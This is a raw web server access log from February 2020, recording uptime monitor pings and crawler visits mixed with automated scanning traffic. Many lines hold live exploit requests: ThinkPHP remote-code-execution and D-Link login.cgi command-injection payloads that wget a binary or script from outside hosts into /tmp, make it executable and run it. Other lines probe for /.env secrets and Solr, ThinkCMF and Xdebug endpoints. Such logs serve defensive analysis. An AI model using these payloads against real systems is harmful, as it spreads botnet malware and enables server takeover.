212.91.246.72 - - [01/Feb/2020:11:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.140.60.137 - - [01/Feb/2020:11:26:15 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
94.51.72.64 - - [01/Feb/2020:11:26:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
99.79.71.163 - - [01/Feb/2020:11:26:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:11:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [01/Feb/2020:11:27:24 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [01/Feb/2020:11:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.30.64.158 - - [01/Feb/2020:11:28:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.235.19.245 - - [01/Feb/2020:11:28:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.16.67.99 - - [01/Feb/2020:11:30:33 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:11:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.136 - - [01/Feb/2020:11:30:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.83.105 - - [01/Feb/2020:11:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:11:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.112 - - [01/Feb/2020:11:33:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.251.148 - - [01/Feb/2020:11:34:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.213.75.17 - - [01/Feb/2020:11:38:51 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:11:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.216.172.189 - - [01/Feb/2020:11:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Seekport Crawler; http://seekport.com/)"
95.216.172.189 - - [01/Feb/2020:11:40:48 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Seekport Crawler; http://seekport.com/)"
95.216.172.189 - - [01/Feb/2020:11:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Seekport Crawler; http://seekport.com/)"
15.164.129.79 - - [01/Feb/2020:11:41:28 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:11:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.213.65.155 - - [01/Feb/2020:11:42:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.120.37.175 - - [01/Feb/2020:11:42:57 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:11:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.102.49.193 - - [01/Feb/2020:11:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:11:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.102.49.193 - - [01/Feb/2020:11:44:43 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
94.102.49.193 - - [01/Feb/2020:11:44:46 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
94.102.49.193 - - [01/Feb/2020:11:44:49 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
103.51.190.9 - - [01/Feb/2020:11:44:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.102.49.193 - - [01/Feb/2020:11:44:56 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
5.101.0.209 - - [01/Feb/2020:11:45:37 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:11:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [01/Feb/2020:11:45:44 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:45:57 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:46:18 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:11:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [01/Feb/2020:11:46:47 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:47:02 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:47:02 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:47:08 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:47:09 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:47:22 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:47:23 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:11:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [01/Feb/2020:11:47:44 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:47:45 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:48:13 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:48:14 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:48:21 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:11:48:28 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:11:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [01/Feb/2020:11:48:43 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
86.110.21.103 - - [01/Feb/2020:11:48:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
5.101.0.209 - - [01/Feb/2020:11:49:06 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
95.216.96.243 - - [01/Feb/2020:11:49:25 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.243 - - [01/Feb/2020:11:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
5.101.0.209 - - [01/Feb/2020:11:49:37 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:11:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.192.16 - - [01/Feb/2020:11:51:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.146.32 - - [01/Feb/2020:11:51:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.166.196.2 - - [01/Feb/2020:11:51:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:11:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.37.15.6 - - [01/Feb/2020:11:53:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:11:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.3.37.238 - - [01/Feb/2020:11:55:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.206.69.172 - - [01/Feb/2020:11:55:31 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:11:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.1.84.150 - - [01/Feb/2020:11:57:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.235.138.81 - - [01/Feb/2020:11:57:20 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01682558 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/537.36(KHTML, like Gecko) Chrome/40.0.2214.89 Safari/537.36"
1.52.80.37 - - [01/Feb/2020:11:57:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.18.19.33 - - [01/Feb/2020:12:00:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
209.97.190.223 - - [01/Feb/2020:12:04:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [01/Feb/2020:12:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.80.243.138 - - [01/Feb/2020:12:05:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.142.22 - - [01/Feb/2020:12:06:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:12:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.151.149.138 - - [01/Feb/2020:12:06:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.67.223.124 - - [01/Feb/2020:12:09:03 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:12:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.97.196.106 - - [01/Feb/2020:12:09:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.217.2.122 - - [01/Feb/2020:12:10:07 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:12:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.206 - - [01/Feb/2020:12:10:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.187.2.239 - - [01/Feb/2020:12:11:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
66.249.69.214 - - [01/Feb/2020:12:11:25 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.69.214 - - [01/Feb/2020:12:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [01/Feb/2020:12:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.224.52.249 - - [01/Feb/2020:12:12:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [01/Feb/2020:12:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.192.214.184 - - [01/Feb/2020:12:12:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
177.105.236.96 - - [01/Feb/2020:12:13:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.51.190.9 - - [01/Feb/2020:12:13:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.165.145.78 - - [01/Feb/2020:12:14:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
